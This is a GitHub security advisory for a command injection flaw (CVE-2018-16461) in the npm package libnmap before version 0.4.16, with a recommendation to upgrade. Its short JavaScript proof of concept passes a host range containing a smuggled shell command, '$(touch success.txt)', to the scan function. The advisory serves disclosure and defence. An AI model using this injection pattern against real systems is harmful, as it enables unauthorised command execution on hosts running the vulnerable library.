Skip to content

Command Injection in libnmap

Moderate severity GitHub Reviewed Published Nov 1, 2018 to the GitHub Advisory Database • Updated Sep 7, 2023

Package

npm libnmap (npm)

Affected versions

< 0.4.16

Patched versions

0.4.16

Description

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

References

Published to the GitHub Advisory Database Nov 1, 2018
Reviewed Jun 16, 2020
Last updated Sep 7, 2023

Severity

Moderate

EPSS score

0.284%
(69th percentile)

Weaknesses

CVE ID

CVE-2018-16461

GHSA ID

GHSA-7g2w-6r25-2j7p

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.